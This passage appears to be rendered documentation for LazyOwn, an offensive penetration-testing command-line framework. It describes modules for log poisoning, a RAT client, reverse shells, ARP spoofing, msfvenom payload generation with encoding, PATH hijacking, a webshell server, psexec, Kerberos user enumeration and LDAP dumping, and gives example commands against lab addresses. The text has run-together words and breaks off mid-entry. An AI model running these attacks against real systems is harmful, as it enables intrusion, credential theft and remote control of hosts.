:param lhost: The IP address of the local host. Must be set in self.params
.
:type lhost: str
:returns: None
Manual execution:
- Ensure that
rhost
andlhost
are set inself.params
. - The script
modules/lazylogpoisoning.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazylogpoisoning.py --rhost <rhost> --lhost <lhost>
Example:
To run the lazylogpoisoning with rhost
set to 192.168.1.1
and lhost
set to 192.168.1.2
, set:
self.params["rhost"] = "192.168.1.1"
self.params["lhost"] = "192.168.1.2"
Then call:
run_lazylogpoisoning()
Note:
- Ensure that modules/lazylogpoisoning.py
has the appropriate permissions and dependencies to run.
lazybotcli
Run the internal module located at modules/lazybotcli.py
with the specified parameters.
This function executes the script with the following arguments:
-
rhost
: The IP address of the remote host (default is"0.0.0.0"
). -
rport
: The port number to be used, specified inself.params
. -
rat_key
: The key for the Remote Access Tool (RAT), specified inself.params
.
The function performs the following steps:
- Retrieves the values for
rport
andrat_key
fromself.params
. - Checks if the required parameters
rport
andrat_key
are set. If not, it prints an error message and returns. - Calls the
run_script
method to execute thelazybotcli.py
script with the appropriate arguments.
:param rport: The port number for the connection. Must be set in self.params
.
:type rport: int
:param rat_key: The key for the RAT. Must be set in self.params
.
:type rat_key: str
:returns: None
Manual execution:
- Ensure that
rport
andrat_key
are set inself.params
. - The script
modules/lazybotcli.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazybotcli.py --host 0.0.0.0 --port <rport> --key <rat_key>
Example:
To run the lazybotcli with port 12345
and key mysecretkey
, set:
self.params["rport"] = 12345
self.params["rat_key"] = "mysecretkey"
Then call:
run_lazybotcli()
Note:
- Ensure that modules/lazybotcli.py
has the appropriate permissions and dependencies to run.
lazyssh77enum
Run the internal module located at modules/lazybrutesshuserenum.py
with the specified parameters. ONLY valid for 7.x Version !!!
The script will be executed with the following arguments:
-
wordlist
: The path to the wordlist file containing potential usernames for SSH enumeration. -
rhost
: The target IP address or hostname for SSH enumeration.
The function performs the following steps:
- Retrieves the values for
wordlist
andrhost
fromself.params
. - Prints a warning message about the potential inaccuracy of the results.
- Constructs the command to run the
lazybrutesshuserenum.sh
script with the specified arguments. - Executes the command using the
os.system
method.
:param wordlist: The path to the wordlist file for username enumeration. Must be set in self.params
.
:type wordlist: str
:param rhost: The target IP address or hostname for SSH enumeration. Must be set in self.params
.
:type rhost: str
:returns: None
Manual execution:
- Ensure that
wordlist
andrhost
are set inself.params
. - Run the script
modules/lazybrutesshuserenum.sh
with the appropriate arguments.
Dependencies:
-
modules/lazybrutesshuserenum.sh
must be present in themodules
directory and must be executable.
Example:
To run the SSH user enumeration with a wordlist located at /path/to/wordlist.txt
and target IP 192.168.1.1
, set:
self.params["usrwordlist"] = "/path/to/wordlist.txt"
self.params["rhost"] = "192.168.1.1"
Then call:
run_lazyssh77enum()
Note: - The accuracy of the results may vary depending on the version of the script and the wordlist used.
lazyburpfuzzer
Run the internal module located at modules/lazyown_burpfuzzer.py
with the specified parameters.
The script will be executed with the following arguments:
-
--url
: The target URL for the fuzzer. -
--method
: The HTTP method to use (e.g., GET, POST). -
--proxy_port
: The port for the proxy server. -
--headers
: Optional HTTP headers to include in the request. -
--data
: Optional data to include in the request body. -
--params
: Optional URL parameters to include in the request. -
--json_data
: Optional JSON data to include in the request body. -
-w
: Optional wordlist for fuzzing. -
-hc
: Optional hide code for fuzzing.
The function performs the following steps:
- Retrieves the values for
url
,method
,headers
,params
,data
,json_data
,proxy_port
,wordlist
, andhide_code
fromself.params
. - Constructs the command to run the
lazyown_burpfuzzer.py
script with the specified arguments. - Adds optional parameters based on whether the corresponding files (
headers_file
,data_file
,params_file
,json_data_file
) are provided. - Executes the command using the
run_command
method.
:param url: The target URL for the fuzzer. Must be set in self.params
.
:type url: str
:param method: The HTTP method to use. Must be set in self.params
.
:type method: str
:param headers: Optional HTTP headers. Must be set in self.params
or provided via headers_file
.
:type headers: str
:param params: Optional URL parameters. Must be set in self.params
or provided via params_file
.
:type params: str
:param data: Optional data for the request body. Must be set in self.params
or provided via data_file
.
:type data: str
:param json_data: Optional JSON data for the request body. Must be set in self.params
or provided via json_data_file
.
:type json_data: str
:param proxy_port: The port for the proxy server. Must be set in self.params
.
:type proxy_port: int
:param wordlist: Optional wordlist for fuzzing. Must be set in self.params
.
:type wordlist: str
:param hide_code: Optional code to hide. Must be set in self.params
.
:type hide_code: int
:param headers_file: Optional file containing headers.
:type headers_file: str, optional
:param data_file: Optional file containing data.
:type data_file: str, optional
:param params_file: Optional file containing parameters.
:type params_file: str, optional
:param json_data_file: Optional file containing JSON data.
:type json_data_file: str, optional
:returns: None
Manual execution:
- Ensure that
url
,method
, andproxy_port
are set inself.params
. - Provide additional parameters as needed.
- Run the script
modules/lazyown_burpfuzzer.py
with the appropriate arguments.
Dependencies:
-
modules/lazyown_burpfuzzer.py
must be present in themodules
directory and must be executable.
Example:
To run the fuzzer with URL http://example.com
, HTTP method POST
, and proxy port 8080
, set:
self.params["url"] = "http://example.com"
self.params["method"] = "POST"
self.params["proxy_port"] = 8080
Then call:
run_lazyburpfuzzer()
Note: - Ensure that all required parameters are set before calling this function. - Parameters can also be provided via corresponding files.
lazyreverse_shell
Run the internal module located at modules/lazyreverse_shell.sh
with the specified parameters.
The script will be executed with the following arguments:
-
--ip
: The IP address to use for the reverse shell. -
--puerto
: The port to use for the reverse shell.
The function performs the following steps:
- Retrieves the values for
rhost
(IP address) andreverse_shell_port
(port) fromself.params
. - Validates that
rhost
andreverse_shell_port
parameters are set. - Constructs the command to run the
lazyreverse_shell.sh
script with the specified arguments. - Executes the command.
:param ip: The IP address to use for the reverse shell. Must be set in self.params
.
:type ip: str
:param port: The port to use for the reverse shell. Must be set in self.params
.
:type port: str
:returns: None
Manual execution:
- Ensure that
rhost
andreverse_shell_port
are set inself.params
. - Run the script
modules/lazyreverse_shell.sh
with the appropriate arguments.
Dependencies:
-
modules/lazyreverse_shell.sh
must be present in themodules
directory and must be executable.
Example:
To set up a reverse shell with IP 192.168.1.100
and port 4444
, set:
self.params["rhost"] = "192.168.1.100"
self.params["reverse_shell_port"] = "4444"
Then call:
run_lazyreverse_shell()
Note:
- Ensure that modules/lazyreverse_shell.sh
has the necessary permissions to execute.
- Parameters must be set before calling this function.
lazyarpspoofing
Run the internal module located at modules/lazyarpspoofing.py
with the specified parameters.
The script will be executed with the following arguments:
-
--device
: The network interface to use for ARP spoofing. -
lhost
: The local host IP address to spoof. -
rhost
: The remote host IP address to spoof.
The function performs the following steps:
- Retrieves the values for
lhost
,rhost
, anddevice
fromself.params
. - Validates that
lhost
,rhost
, anddevice
parameters are set. - Constructs the command to run the
lazyarpspoofing.py
script with the specified arguments. - Executes the command.
:param lhost: The local host IP address to spoof. Must be set in self.params
.
:type lhost: str
:param rhost: The remote host IP address to spoof. Must be set in self.params
.
:type rhost: str
:param device: The network interface to use for ARP spoofing. Must be set in self.params
.
:type device: str
:returns: None
Manual execution:
- Ensure that
lhost
,rhost
, anddevice
are set inself.params
. - Run the script
modules/lazyarpspoofing.py
with the appropriate arguments.
Dependencies:
-
modules/lazyarpspoofing.py
must be present in themodules
directory and must be executable.
Example:
To execute ARP spoofing with local host 192.168.1.2
, remote host 192.168.1.1
, and device eth0
, set:
self.params["lhost"] = "192.168.1.2"
self.params["rhost"] = "192.168.1.1"
self.params["device"] = "eth0"
Then call:
run_lazyarpspoofing()
Note:
- Ensure that modules/lazyarpspoofing.py
has the necessary permissions to execute.
- Parameters must be set before calling this function.
lazyattack
Run the internal module located at modules/lazyatack.sh
with the specified parameters.
The script will be executed with the following arguments:
-
--modo
: The mode of the attack. -
--ip
: The target IP address. -
--atacante
: The attacker IP address.
The function performs the following steps:
- Retrieves the current working directory.
- Validates that
mode
,rhost
, andlhost
parameters are set. - Constructs the command to run the
lazyatack.sh
script with the specified arguments. - Executes the command.
:param mode: The mode in which the attack should be run. Must be set in self.params
.
:type mode: str
:param target_ip: The IP address of the target. Must be set in self.params
.
:type target_ip: str
:param attacker_ip: The IP address of the attacker. Must be set in self.params
.
:type attacker_ip: str
:returns: None
Manual execution:
- Ensure that
mode
,rhost
, andlhost
are set inself.params
. - Run the script
modules/lazyatack.sh
with the appropriate arguments.
Dependencies:
-
modules/lazyatack.sh
must be present in themodules
directory and must be executable.
Example:
To execute the attack with mode scan
, target IP 192.168.1.100
, and attacker IP 192.168.1.1
, set:
self.params["mode"] = "scan"
self.params["rhost"] = "192.168.1.100"
self.params["lhost"] = "192.168.1.1"
Then call:
run_lazyattack()
Note:
- Ensure that modules/lazyatack.sh
has the necessary permissions to execute.
- Parameters must be set before calling this function.
lazymsfvenom
Executes the msfvenom
tool to generate a variety of payloads based on user input.
This function prompts the user to select a payload type from a predefined list and runs the corresponding
msfvenom
command to create the desired payload. It handles tasks such as generating different types of
payloads for Linux, Windows, macOS, and Android systems, including optional encoding with Shikata Ga Nai for C payloads.
The generated payloads are moved to a sessions
directory, where appropriate permissions are set. Additionally,
the payloads can be compressed using UPX for space efficiency. If the selected payload is an Android APK,
the function will also sign the APK and perform necessary post-processing steps.
:param line: Command line arguments for the script. :return: None
lazyaslrcheck
Creates a path hijacking attack by performing the following steps:
- Appends the value of
binary_name
to a temporary script located atmodules/tmp.sh
. - Copies this temporary script to
/tmp
with the name specified bybinary_name
. - Sets executable permissions on the copied script.
- Prepends
/tmp
to the system's PATH environment variable to ensure the script is executed in preference to other binaries.
The function then prints out each command being executed and a message indicating the binary name used for the path hijacking.
:param binary_name: The name of the binary to be used in the path hijacking attack. It should be set in self.params
before calling this method.
:type binary_name: str
:returns: None
Manual execution:
- Ensure that
binary_name
is set inself.params
. - Append the binary name to
modules/tmp.sh
. - Copy
modules/tmp.sh
to/tmp/{binary_name}
. - Set executable permissions on the copied file.
- Update the PATH environment variable to prioritize
/tmp
.
Dependencies:
- The
self.params
dictionary must contain a validbinary_name
. - Ensure that
modules/tmp.sh
exists and contains appropriate content for the attack.
Example:
To execute the path hijacking attack with binary_name
as malicious
, ensure self.params["binary_name"]
is set to "malicious"
, and then call:
run_lazypathhijacking()
Note:
- The binary_name
parameter must be a string representing the name of the binary to hijack.
- The method modifies the PATH environment variable, which may affect the execution of other binaries.
lazypathhijacking
Creates a path hijacking attack by performing the following steps:
- Appends the value of
binary_name
to a temporary script located atmodules/tmp.sh
. - Copies this temporary script to
/tmp
with the name specified bybinary_name
. - Sets executable permissions on the copied script.
- Prepends
/tmp
to the system's PATH environment variable to ensure the script is executed in preference to other binaries.
The function then prints out each command being executed and a message indicating the binary name used for the path hijacking.
:param binary_name: The name of the binary to be used in the path hijacking attack. :returns: None
script
Run a script with the given arguments
This method constructs and executes a command to run a Python script with the specified arguments. It uses the run_command
method to execute the script and handle real-time output.
:param script_name: The name of the script to be executed. :type script_name: str :param args: The arguments to be passed to the script. :type args: tuple of str
:returns: None
Manual execution:
- Build the command list with "python3", the script name, and the arguments.
- Call
run_command
with the constructed command list.
Dependencies:
-
run_command
method for executing the constructed command and streaming output.
Example:
To execute a script named example.py
with arguments arg1
and arg2
, call:
run_script("example.py", "arg1", "arg2")
Note:
- The script_name
parameter should be a string representing the name of the script.
- The args
parameter is a variable-length argument list containing the arguments to be passed to the script.
- Ensure that the script and arguments are properly specified.
command
Run a command and print output in real-time
This method executes a given command using subprocess.Popen
and streams both the standard output and standard error to the console in real-time. The output from both streams is appended to the self.output
attribute. If interrupted, the process is terminated gracefully.
:param command: The command to be executed. :type command: str
:returns: None
Manual execution:
- Execute the command specified by the
command
parameter. - Stream and print the command's standard output and error to the console in real-time.
- Append all output to the
self.output
attribute. - Handle
KeyboardInterrupt
by terminating the process and printing an error message.
Dependencies:
-
subprocess
module for running the command and capturing output. -
print_msg
function for printing output to the console. -
print_error
function for printing error messages to the console.
Example:
To execute a command, call run_command("ls -l")
.
Note:
- The command
parameter should be a string representing the command to be executed.
- self.output
must be initialized before calling this method.
- Ensure proper exception handling to manage process interruptions.
payload
Load parameters from a specified payload JSON file.
This function loads parameters from a JSON file specified by the line
argument and updates the instance's params
dictionary with the values from the file. If the file does not exist or contains invalid JSON, it will print an appropriate error message.
Usage:
payload
:param line: The name of the JSON file to load. :type line: str
:returns: None
Manual execution:
- Open and read the specified JSON file.
- Update the
params
dictionary with values from the JSON file. - Print a success message if the parameters were successfully loaded.
- Handle
FileNotFoundError
if the file does not exist. - Handle
JSONDecodeError
if there is an error decoding the JSON file.
Dependencies:
-
json
module for reading and parsing the JSON file.
Example:
To execute the function, call payload payload_10.10.10.10.json
.
Note: - Ensure that the specified JSON file exists in the current directory and is properly formatted. - The confirmation message includes color formatting for better visibility.
exit
Exit the command line interface.
This function prompts the user to confirm whether they want to exit the command line interface. If confirmed, it will terminate the program. Otherwise, it will cancel the exit.
Usage: exit
:param arg: This parameter is not used in this function. :type arg: str
:returns: None
Manual execution:
- Prompt the user with a confirmation message to exit the CLI.
- If the user confirms with 's', print a message and exit the program.
- If the user provides any other input, print a cancellation message and remain in the CLI.
Dependencies:
-
sys.exit
function for exiting the program.
Example:
To execute the function, simply call exit
.
Note:
- The confirmation prompt is in Spanish.
- Ensure that sys
is imported in your script.
fixperm
Fix permissions for LazyOwn shell scripts.
This function adjusts the file permissions for shell scripts and CGI scripts in the modules
directory, making them executable.
Usage: fixperm
:param line: This parameter is not used in this function. :type line: str
:returns: None
Manual execution:
- Change the permissions of all shell scripts in the
modules
directory to be executable. - Change the permissions of all files in the
modules/cgi-bin
directory to be executable.
Dependencies:
-
chmod
command must be available on the system.
Example:
To execute the function, simply call fixperm
.
Note: - Ensure you have the necessary permissions to modify file permissions.
lazywebshell
Run LazyOwn webshell server.
This function starts a web server that serves the lazywebshell.py
script from the modules
directory on port 8888. The server is run in the background.
Usage: lazywebshell
:param line: This parameter is not used in this function. :type line: str
:returns: None
Manual execution:
- Start a Python HTTP server with CGI support on port 8888.
- The server serves files from the
modules
directory.
Dependencies:
- Python 3.x must be installed on the system.
- The
http.server
module should be available.
Example:
To execute the function, simply call lazywebshell
.
Note: - The server runs in the background, and the output will not be displayed in the terminal.
getcap
Retrieve and display file capabilities on the system.
This function uses the getcap
command to recursively list capabilities for files starting from the root directory (/
). The output is filtered to suppress error messages.
Usage: getcap
:param line: This parameter is not used in this function. :type line: str
:returns: None
Manual execution:
- Run the
getcap -r /
command to list file capabilities recursively from the root directory. - Redirect standard error to
/dev/null
to suppress error messages. - Copy to clipboard the command to appy in the victim machine. Dependencies:
-
getcap
must be installed on the system.
Example:
To execute the function, simply call do_getcap
.
Note: - The command may require elevated permissions to access certain directories and files.
getseclist
Get the SecLists wordlist from GitHub.
This function downloads and extracts the SecLists wordlist from GitHub to the /usr/share/wordlists/
directory.
Usage: getseclist
:param line: This parameter is not used in this function. :type line: str
:returns: None
Manual execution:
- Navigate to the
/usr/share/wordlists/
directory. - Download the SecLists repository using
wget
. - Extract the downloaded ZIP file.
- Remove the ZIP file after extraction.
Dependencies:
-
wget
must be installed on the system. -
unzip
must be installed on the system. -
sudo
must be available for downloading and extracting files.
Example:
To execute the function, simply call getseclist
.
Note:
- Ensure that you have the necessary permissions to write to the /usr/share/wordlists/
directory.
- If wget
or unzip
is not installed, the function will fail.
smbclient
Interacts with SMB shares using the smbclient
command to perform the following operations:
- Checks if
rhost
(remote host) andlhost
(local host) are set; if not, an error message is displayed. - If
line
(share name) is provided:
- Attempts to access the specified SMB share on the remote host using the command:
smbclient -N \\{rhost}\{line}
- If
line
is not provided:
- Lists available SMB shares on the remote host with the command:
smbclient -N -L \\{rhost}
- Suggests a potential SMB exploit if possible by mounting the share from the local host using:
mount -t cifs "//{lhost}/share" /mnt/smb
:param line: The name of the SMB share to access on the remote host. If not provided, the function will list all available shares. :returns: None
smbclient_py
Interacts with SMB shares using the smbclient.py
command to perform the following operations:
- Checks if
rhost
(remote host) andlhost
(local host) are set; if not, an error message is displayed. - If
line
(share name) is provided:
- Attempts to access the specified SMB share on the remote host using the command:
smbclient.py -N \\{rhost}\{line}
- If
line
is not provided:
- Lists available SMB shares on the remote host with the command:
smbclient.py -N -L \\{rhost}
- Suggests a potential SMB exploit if possible by mounting the share from the local host using:
mount -t cifs "//{lhost}/share" /mnt/smb
:param line: The name of the SMB share to access on the remote host. If not provided, the function will list all available shares. :returns: None
smbmap
smbmap -H 10.10.10.3 [OPTIONS]
Uses the smbmap
tool to interact with SMB shares on a remote host:
- Checks if
rhost
(remote host) andlhost
(local host) are set; if not, an error message is displayed. - If no
line
(share name or options) is provided:
- Attempts to access SMB shares on the remote host with a default user
deefbeef
using the command:smbmap -H {rhost} -u 'deefbeef'
- If
line
is provided:
- Executes
smbmap
with the specified options or share name using the command:smbmap -H {rhost} -R {line}
- Suggests a potential SMB exploit if possible by mounting the share from the local host using:
mount -t cifs "//{lhost}/documents" /mnt/smb
:param line: Options or share name to use with smbmap
. If not provided, uses a default user to list shares.
:returns: None
getnpusers
sudo impacket-GetNPUsers mist.htb/ -no-pass -usersfile sessions/users.txt
Executes the impacket-GetNPUsers
command to enumerate users with Kerberos pre-authentication disabled.
- Checks if the
line
(domain) argument is provided; if not, an error message is displayed, instructing the user to provide a domain. - Executes
impacket-GetNPUsers
with the following options:
-
-no-pass
: Skips password prompt. -
-usersfile sessions/users.txt
: Specifies the file containing the list of users to check.
:param line: The domain to query. Must be provided in the format domain.com
. Example usage: getnpusers domain.com
:returns: None
Manual execution:
To manually run this command, use the following syntax:
sudo impacket-GetNPUsers <domain>
with the actual domain name you want to query.
psexec
Executes the Impacket PSExec tool to attempt remote execution on the specified target.
This function performs the following actions:
- Checks if the provided target host (
rhost
) is valid. - If the
line
argument is "pass", it searches for credential files with the patterncredentials*.txt
and allows the user to select which file to use for executing the command. - If the
line
argument is not "pass", it assumes execution without a password (using the current credentials). - Copies the
rhost
IP address to the clipboard for ease of use.
Parameters:
line (str): A command argument to determine the action.
If "pass", the function searches for credential files and authenticates using the selected file.
Otherwise, it executes PSExec without a password using the rhost
IP.
Returns: None
rpcdump
Executes the rpcdump.py
script to dump RPC services from a target host.
- Retrieves the target host IP from the
rhost
parameter. - Checks if the
rhost
parameter is valid usingcheck_rhost()
. If invalid, the function returns early. - Executes the
rpcdump.py
script on port 135 and 593 to gather RPC service information from the target host.
:param line: This parameter is not used in this command but is included for consistency with other methods. :returns: None
Manual execution:
To manually run this command, use the following syntax:
rpcdump.py -p 135 <target_host>
rpcdump.py -p 593 <target_host>
Replace <target_host>
with the IP address or hostname of the target machine.
dig
Executes the dig
command to query DNS information.
- Retrieves the DNS server IP from the
line
parameter and the target host from therhost
parameter. - If either the DNS server or
rhost
is not provided, an error message is printed. - Executes the
dig
command to query the version of the DNS server and additional records.
:param line: DNS server IP or hostname. Must be provided for the dig
command.
:param rhost: Target host for additional dig
queries.
:returns: None
Manual execution:
To manually run these commands, use the following syntax:
dig version.bind CHAOS TXT @<dns_server>
dig any
Replace <dns_server>
with the IP address or hostname of the DNS server, <domain>
with the target domain, and <rhost>
with the IP address or hostname of the target machine.
cp
Copies a file from the ExploitDB directory to the sessions directory.
- Retrieves the path to the ExploitDB directory and the target file from the
line
parameter. - Copies the specified file from the ExploitDB directory to the
sessions
directory in the current working directory.
:param line: The relative path to the file within the ExploitDB directory. For example, java/remote/51884.py
.
:param exploitdb: The path to the ExploitDB directory. This must be set in advance or provided directly.
:returns: None
Manual execution: To manually copy files, use the following syntax: cp <exploitdb_path><file_path> <destination_path>
Replace <exploitdb_path>
with the path to your ExploitDB directory, <file_path>
with the relative path to the file, and <destination_path>
with the path where you want to copy the file.
For example: cp /usr/share/exploitdb/exploits/java/remote/51884.py /path/to/sessions/
dnsenum
Performs DNS enumeration using dnsenum
to identify subdomains for a given domain.
- Executes the
dnsenum
command with parameters to specify the DNS server, output file, and wordlist for enumeration.
:param line: The target domain to perform DNS enumeration on, e.g., ghost.htb
.
:param rhost: The DNS server to use for enumeration, e.g., 10.10.11.24
.
:param dnswordlist: The path to the DNS wordlist file used for subdomain discovery.
:returns: None
Manual execution: To manually perform DNS enumeration, use the following command: dnsenum --dnsserver <dns_server> --enum -p 0 -s 0 -o <output_file> -f <dns_wordlist> <target_domain>
Replace <dns_server>
with the DNS server IP, <output_file>
with the file path to save the results, <dns_wordlist>
with the path to your DNS wordlist file, and <target_domain>
with the domain to be enumerated.
For example: dnsenum --dnsserver 10.10.11.24 --enum -p 0 -s 0 -o sessions/subdomains.txt -f /path/to/dnswordlist.txt ghost.htb
dnsmap
Performs DNS enumeration using dnsmap
to discover subdomains for a specified domain.
- Executes the
dnsmap
command to scan the given domain with a specified wordlist.
:param line: The target domain to perform DNS enumeration on, e.g., ghost.htb
.
:param dnswordlist: The path to the wordlist file used for DNS enumeration.
:returns: None
Manual execution: To manually perform DNS enumeration, use the following command: dnsmap <target_domain> -w <dns_wordlist>
Replace <target_domain>
with the domain you want to scan and <dns_wordlist>
with the path to your DNS wordlist file.
For example: dnsmap ghost.htb -w /path/to/dnswordlist.txt
whatweb
Performs a web technology fingerprinting scan using whatweb
.
- Executes the
whatweb
command to identify technologies used by the target web application.
:param line: This parameter is not used in the current implementation but could be used to pass additional options or arguments if needed.
:param rhost: The target web host to be scanned, specified in the params
dictionary.
:returns: None
Manual execution: To manually perform web technology fingerprinting, use the following command: whatweb <target_host>
Replace <target_host>
with the URL or IP address of the web application you want to scan.
For example: whatweb example.com
enum4linux
Performs enumeration of information from a target Linux/Unix system using enum4linux
.
- Executes the
enum4linux
command with the-a
option to gather extensive information from the specified target.
:param line: This parameter is not used in the current implementation but could be used to pass additional options or arguments if needed.
:param rhost: The target host for enumeration, specified in the params
dictionary.
:returns: None
Manual execution: To manually enumerate information from a Linux/Unix system, use the following command: enum4linux -a <target_host>
Replace <target_host>
with the IP address or hostname of the target system.
For example: enum4linux -a 192.168.1.10
nbtscan
Performs network scanning using nbtscan
to discover NetBIOS names and addresses in a specified range.
- Executes the
nbtscan
command with the-r
option to scan the specified range of IP addresses for NetBIOS information.
:param line: This parameter is not used in the current implementation but could be used to specify additional options or arguments if needed.
:param rhost: The target network range for scanning, specified in the params
dictionary.
:returns: None
Manual execution: To manually perform a NetBIOS scan across a network range, use the following command: sudo nbtscan -r <network_range>
Replace <network_range>
with the IP address range you want to scan. For example:
sudo nbtscan -r 192.168.1.0/24
rpcclient
Executes the rpcclient
command to interact with a remote Windows system over RPC (Remote Procedure Call) using anonymous credentials.
- Runs
rpcclient
with the-U ''
(empty username) and-N
(no password) options to connect to the target host specified byrhost
.
:param line: This parameter is not used in the current implementation but could be used to specify additional options or arguments if needed.
:param rhost: The IP address of the remote host to connect to, specified in the params
dictionary.
:returns: None
Manual execution: To manually interact with a remote Windows system using RPC, use the following command: rpcclient -U '' -N <target_ip>
Replace <target_ip>
with the IP address of the target system. For example:
rpcclient -U '' -N 10.10.10.10
nikto
Runs the nikto
tool to perform a web server vulnerability scan against the specified target host.
- Executes
nikto
with the-h
option to specify the target host IP address. - Installs
nikto
if it is not already installed.
:param line: This parameter is not used in the current implementation but could be used to specify additional options or arguments if needed.
:param rhost: The IP address of the target web server, specified in the params
dictionary.
:returns: None
Manual execution:
To manually perform a web server vulnerability scan using nikto
, use the following command:
nikto -h <target_ip>
Replace <target_ip>
with the IP address of the target web server. For example:
nikto -h 10.10.10.10
finalrecon
Runs the finalrecon
tool to perform a web server vulnerability scan against the specified target host.
- Executes
finalrecon
with the-h
option to specify the target host IP address.
:param line: This parameter is not used in the current implementation but could be used to specify additional options or arguments if needed.
:param rhost: The IP address of the target web server, specified in the params
dictionary.
:returns: None
Manual execution:
To manually perform a web server vulnerability scan using finalrecon
, use the following command:
finalrecon --url=http://<target_ip> --full -o txt -cd <directory_reports>
Replace <target_ip>
with the IP address of the target web server. For example:
finalrecon --url=http://192.168.1.92 --full -o txt -cd /home/gris/finalrecon
openssl_sclient
Uses openssl s_client
to connect to a specified host and port, allowing for testing and debugging of SSL/TLS connections.
:param line: The port number to connect to on the target host. This must be provided as an argument.
:param rhost: The IP address or hostname of the target server, specified in the params
dictionary.
:returns: None
Manual execution:
To manually connect to a server using openssl s_client
and test SSL/TLS, use the following command:
openssl s_client -connect <target_ip>:
Replace <target_ip>
with the IP address or hostname of the target server and <port>
with the port number. For example:
openssl s_client -connect 10.10.10.10:443
ss
Uses searchsploit
to search for exploits in the Exploit Database based on the provided search term.
:param line: The search term or query to find relevant exploits. This must be provided as an argument.
:returns: None
Manual execution:
To manually search for exploits using searchsploit
, use the following command:
searchsploit <search_term>
Replace <search_term>
with the term or keyword you want to search for. For example:
searchsploit kernel
wfuzz
Uses wfuzz
to perform fuzzing based on provided parameters. This function supports various options for directory and file fuzzing.
:param line: The options and arguments for wfuzz
. The line
parameter can include the following:
- sub <domain>
: Fuzz DNS subdomains. Requires dnswordlist
to be set.
- iis
: Fuzz IIS directories. Uses a default wordlist if iiswordlist
is not set.
- Any other argument: General directory and file fuzzing.
:returns: None
Manual execution:
To manually use wfuzz
for directory and file fuzzing, use the following commands:
- For fuzzing DNS subdomains:
wfuzz -c <extra_options> -t
-w -H 'Host: FUZZ. '
Example: wfuzz -c --hl=7 -t 200 -w /path/to/dnswordlist -H 'Host: FUZZ.example.com' example.com
- For fuzzing IIS directories:
wfuzz -c <extra_options> -t
-w /path/to/iiswordlist http:// /FUZZ
Example: wfuzz -c --hl=7 -t 200 -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/IIS.fuzz.txt http://10.10.10.10/FUZZ
- For general directory and file fuzzing:
wfuzz -c <extra_options> -t
-w http:// /FUZZ
Example: wfuzz -c --hl=7 -t 200 -w /path/to/dirwordlist http://10.10.10.10/FUZZ
launchpad
Searches for packages on Launchpad based on the provided search term and extracts codenames from the results. The distribution is extracted from the search term.
:param line: The search term to be used for querying Launchpad. The line
parameter should be a string containing
the search term, e.g., "8.2p1 Ubuntu 4ubuntu0.11".
:returns: None
Manual execution: To manually execute the equivalent command, use the following steps:
- Extract the distribution from the search term:
- This function assumes the distribution name is part of the search term and is used to build the URL.
- URL encode the search term:
- Replace spaces with
%20
to form the encoded search query.
- Use
curl
to perform the search and filter results: curl -s "https://launchpad.net/+search?field.text=<encoded_search_term>" | grep 'href' | grep '' | grep -oP '(?<=href="https://launchpad.net/ /)[^/"]+' | sort -u
Example: If the search term is "8.2p1 Ubuntu 4ubuntu0.11", the command would be: curl -s "https://launchpad.net/+search?field.text=8.2p1%20Ubuntu%204ubuntu0.11" | grep 'href' | grep 'ubuntu' | grep -oP '(?<=href="https://launchpad.net/ubuntu/)[^/"]+' | sort -u
Notes:
- Ensure that curl
is installed and accessible in your environment.
- The extracted codenames are printed to the console.
gobuster
Uses gobuster
for directory and virtual host fuzzing based on provided parameters. Supports directory enumeration and virtual host discovery.
:param line: The options and arguments for gobuster
. The line
parameter can include the following:
- url
: Perform directory fuzzing on a specified URL. Requires url
and dirwordlist
to be set.
- vhost
: Perform virtual host discovery on a specified URL. Requires url
and dirwordlist
to be set.
- Any other argument: General directory fuzzing with additional parameters.
:returns: None
Manual execution:
To manually use gobuster
, use the following commands:
- For directory fuzzing:
gobuster dir --url
/ --wordlist
Example: gobuster dir --url http://example.com/ --wordlist /path/to/dirwordlist
- For virtual host discovery:
gobuster vhost --append-domain -u
-w --random-agent -t 600
Example: gobuster vhost --append-domain -u http://example.com -w /path/to/dirwordlist --random-agent -t 600
- For general directory fuzzing with additional parameters:
gobuster dir --url http://
/ --wordlist <additional_parameters>
Example: gobuster dir --url http://10.10.10.10/ --wordlist /path/to/dirwordlist -x .php,.html
addhosts
Adds an entry to the /etc/hosts
file, mapping an IP address to a domain name.
:param line: The domain name to be added to the /etc/hosts
file.
- Example: permx.htb
:returns: None
Manual execution:
To manually add a domain to the /etc/hosts
file, use the following command:
sudo sh -c -e "echo '<rhost> <domain>' >> /etc/hosts"
Example: sudo sh -c -e "echo '10.10.11.23 permx.htb' >> /etc/hosts"
This command appends the IP address and domain name to the /etc/hosts
file, enabling local resolution of the domain.
cme
Performs an SMB enumeration using crackmapexec
.
:param line: Not used in this function.
:returns: None
Manual execution:
To manually run crackmapexec
for SMB enumeration, use the following command:
crackmapexec smb <target>
Example: crackmapexec smb 10.10.11.24
This command will enumerate SMB shares and perform basic SMB checks against the specified target IP address.
ldapdomaindump
Dumps LDAP information using ldapdomaindump
with credentials from a file.
:param line: The domain to use for authentication (e.g., 'domain.local').
:returns: None
Manual execution:
To manually run ldapdomaindump
for LDAP enumeration, use the following command:
ldapdomaindump -u '<domain>\<username>' -p '<password>' <target>
Example: ldapdomaindump -u 'domain.local\Administrator' -p 'passadmin123' 10.10.11.23
Ensure you have a file sessions/credentials.txt
in the format user:password
, where each line contains credentials for the LDAP enumeration.
bloodhound
Perform LDAP enumeration using bloodhound-python with credentials from a file.
:param line: This parameter is not used in the function but could be used for additional options or domain information.
:returns: None
Manual execution:
To manually run bloodhound-python
for LDAP enumeration, use the following command:
bloodhound-python -c All -u '<username>' -p '<password>' -ns <target>
Example: bloodhound-python -c All -u 'usuario' -p 'password' -ns 10.10.10.10
Ensure you have a file sessions/credentials.txt
with the format user:password
, where each line contains credentials for enumeration.
ping
Perform a ping to check host availability and infer the operating system based on TTL values.
:param line: This parameter is not used in the function but could be used for additional options or settings.
:returns: None
Manual execution: To manually ping a host and determine its operating system, use the following command:
ping -c 1 <target>
Example: ping -c 1 10.10.10.10
The TTL (Time To Live) value is used to infer the operating system:
- TTL values around 64 typically indicate a Linux system.
- TTL values around 128 typically indicate a Windows system.
Ensure you have set rhost
to the target host for the command to work.
gospider
Try gospider for web spidering.
This function executes the gospider
tool to perform web spidering. It can either use a URL provided as a parameter or the remote host defined in self.params
.
Usage: gospider url gospider
:param line: Command parameter that determines the execution mode. Use "url" to specify a URL, or leave empty to use the remote host. :type line: str
- If
line
is "url", the method uses the URL specified inself.params["url"]
. - If
line
